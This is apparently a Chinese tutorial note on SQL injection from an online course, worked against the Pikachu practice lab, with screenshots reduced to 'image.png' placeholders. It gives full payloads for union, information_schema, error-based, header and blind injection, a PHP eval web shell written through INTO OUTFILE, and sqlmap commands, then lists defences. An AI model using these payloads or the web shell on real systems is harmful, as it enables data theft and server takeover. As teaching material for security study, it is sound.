整理自: https://www.ichunqiu.com/course/63879
SQL Injection概述
- 黑客在互联网区域构建sql语句,控制后台sql查询语句,实现攻击。
二、SQL Injection 渗透测试流程
第一步:注入点探测
- 自动方式:使用web漏洞扫描工具,自动进行注入点发现
- 手动方式:手工构造sql injection测试语句进行注入点发现
第二步:信息获取
- 通过注入点取期望得到的数据
- 1.环境信息:数据库类型,数据库版本,操作系统版本,用户信息等
- 2.数据库信息:数据库名称,数据库表,表字段,字段内容(加密内容破解)
第三步:获取权限
- 获取操作系统权限:通过数据库执行shell,上传木马
常见注入点类型
- 数字型 user_id=$id
- 字符型 user_id='$id'
- 搜索型 text LIKE '%{'"
如何判断注入点的类型
案例演示
1.数字型注入演示
-
打开目标站点,抓包分析,数字型=$id
image.png
image.png
image.png
image.png -
结合后端源码分析 ,后端获取的id值没有做处理直接拼接到sql语句中,select username,email from member where + 拼接的值,如果是1 or 1=1的话,会把member表中所有username,email都查询出来。
image.png
2.字符型注入演示
-
根据浏览器url的变化,分析出为get请求,字符串型,字符串在select中要加''
image.png
image.png -
抓包
image.png -
添加 or 1=1,失败
image.png - 因为字符串会加'',所以name变量前边后台已经有一个'了,发送过去后,后台会再添加一个',所以select语句变量为'123 or 1=1'是查不到东西的。应该改成123' or 1=1# ,这样的话后台就变成了'123' or 1=1 ,#起注释的作用。
-
后端代码分析
image.png
搜索型注入
image.png-
构造闭合
image.png -
后台代码分析。对查询变量没有做处理,直接拼接到查询语句中了。
image.png
XX型
-
后端源码分析可得构造闭合的方式
image.png -
利用漏洞,构造闭合sql语句
image.png - 总结:总而言之,就是对sql中的各种类型的输入进行闭合测试,构造合法sql,欺骗后台。
union注入
- union联合查询:可以通过联合查询来查询指定的数据
- 用法举例: select username,password from user where id=1 union select 字段1,字段2from 表名 联合查询的字段数需要和主查询一致
-
数据库中演示
image.png -
如何判断主查询的字段数。构造的sql语句中 用order by 数字,按列排序来判断有几列
image.png -
实践
image.png
image.png
image.png
image.png
image.png
information_schema注入
-
知识点:
information_schema mysql中的信息数据库,保存着mysql维护的其它数据库的信息。要了解两张表。1.tables表(提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表[引擎],创建时间等信息)中table_name 表名称、table_schema数据表所属的数据库名、table_type表类型[system view|base table]、engine使用的数据库引擎[MyISAM|CSV|InnoDB]、version版本,默认值10字段;2.COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。TABLE_SCHEMA 表格所属的库,TABLE_NAME 表名,COLUMN_NAME字名,ORDINAL_POSITION字段标识。
image.png
image.png -
所以获取用户名和密码字段的思路为:在找到注入点,判断出union 可用的字段后,判断出所用的数据库名字和用户名字,然后再information_schema中查看对应的数据库(table_schema)有哪几个表(table_name),然后在columns查看对应的表有哪些字段。
-
测试是否存在注入点
image.png
image.png
image.png -
判断查询有几个字段。两个。
image.png
image.png
image.png -
判断数据库名字和用户名字
image.png -
构造payload。获取表名 kobe' union select table_schema,table_name from information_schema.tables where table_schema='pikachu'#
image.png -
构造payload获取字段名
kobe' union select table_name,column_name from information_schema.columns where table_name='users'#
image.png
*构造payload 获取内容
kobe' union select username,password from users#
image.png
基于函数报错的注入
- 知识点
- 常用的报错函数updatexml()\extravalue()、floot()
- 基于函数报错的信息获取(selelect/insert/update/delete)
- 技巧思路
- 在mysql中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息。select/insert/update/delete都可以使用报错来获取信息。
- 三个常用的用来报错的函数
updatexml(): 函数是mysql对xml文档数据进行查询和修改的xpath函数
作用:改变(查找并替换)xml文档中符合条件的节点的值
语法:updatexml(xml_document,xpathstring,new_value)
第一个参数:fiedname是string格式,为表中的字段名。
第二个参数:xpathstring(xpath格式的字符串)
第三个参数:new_value,string格式,替换查找到符合条件的
xpath定位必须是有效的,否则会发生错误
xpathstring可以是表达式,会执行
extractvalue():函数也是mysql对xml文档数据进行查询的xpath函数。
floor():mysql中用来取整的函数 - 背景条件
- 后台没有屏蔽数据库报错信息,在语法错误时会输出在最前端。
演示
*找到注入点后,构造payload。 l' and updatexml(1,version(),0)#
image.png
-
构造payload 输出完整结果 concat()将里边的数据拼接成字符串 l' and updatexml(1,concat(0x7e,version()),0)#
image.png -
l' and updatexml(1,concat(0x7e,database()),0)#
image.png -
l' and updatexml(1,concat(0x7e, (select username from users)),0)#
image.png -
l' and updatexml(1,concat(0x7e, (select username from users limit 0,1)),0)#
image.png
基于insert update delete的注入利用案
image.pngimage.png
image.png
image.png
image.png
image.png
image.png
image.png
image.png
image.png
image.png
image.png
image.png
extractvalue()
- 作用
- 从目标xml中返回包含所查询值的字符串
语法:extractvalue(xml_document,xpath_string)
第一个参数:xml_document是string格式,为xml文档对象的名称,文中为doc
第二个参数:xpath_string(xpath格式的字符串)
xpath定位必须是有效的,否则会发生错误 - 演示
-
构造payload,s' and extractvalue(0,concat(0x7e,version()))#
image.png
image.png
http header注入
- 后台开发人员为了验证客户端头信息比如常用的cookie验证或者通过http header头信息获取客户端的一些信息,比如useragent、accept字段等
-
会对客户端的http header信息进行获取并使用sql进行处理,如果此时没有足够的安全考虑会导致基于http header的sql injection漏洞
image.png
image.png
image.png
image.png -
firefox' or updatexml(1,concat(0x7e,database( )),0) or '
image.png
image.png
image.png
盲注
- 什么是盲注以及常见的盲注类型
服务器没有开启错误回显,屏蔽了报错信息。 -
基于boolean(true or false)的盲注测试
image.png
image.png
image.png
image.png
image.png
image.png
image.png
image.png
image.png
image.png
image.png
image.png
image.png -
构造paylod进行判断。
kobe' and ascii(substr(database(),1,1))>113#
image.png
kobe' and ascii(substr(database(),1,1))>112#
image.png
kobe' and ascii(substr(database(),1,1))>111#
image.png
112 对应p
盲注页面只返回正确的值或者输入错误。利用ascii进行判断;利用长度判断
-
基于time的盲注测试
image.png
image.png
** kobe' and sleep(5)#
image.png
** kobe' and if((substr(database()),1,1))='a',sleep(5),null)#
image.png
** kobe' and if((substr(database(),1,1))='p',sleep(5),null)#
image.png
对服务器远程控制案例
- 一句话木马
- 如何通过into outfile写入恶意代码并控制os
** select 1,2 into outfile " var/www/html/1.txt"
** into outfile 将select的结果写入到指定目录的1.txt中
** 在一些没有回显的注入中可以使用into outfile将结果写入到指定文件,然后访问获取
前提条件
1.需要知道远程目录
2.需要远程目录有写权限
3.需要数据库开启了secure_file_priv
kobe' union select "<?php @eval(_GET['cmd'])?>",2 into outfile "C:\xampp\htdocs\2.php"#
image.png
image.png
暴力破解在sql中的应用
-
kobe' and exsits(select * from aa)#
image.png
image.png
image.png
image.png
image.png
sql漏洞防范
-
代码层面
1.对输入进行严格的转义和过滤
2.使用预处理和参数化
*网络层面
1.通过waf设备启用sql injection注入策略(或类似防护系统)
2.云端防护(360网站卫士,阿里云盾等)
image.png
推荐预处理
image.png
image.png
image.png
sqlmap简单使用方法
经典用法
第一步:
-u "xxx" --cookie="yyy" //带上cookie对url进行注入探测
第二部
-u "xxx" --cookie="yyy" -current-db //对数据库名进行获取
第三步:
-u "xxx" --cookie="yyy" -D pikaku --tables //对数据库的表名进行枚举
第四步:
-u "xxx" --cookie="yyy" -D pikaku -T users ==columns //对
pikaku里面名为users表的列名进行枚举
image.png image.png
image.png image.png image.png
image.png
image.png
image.png
image.png
image.png image.png
image.png
image.png
网友评论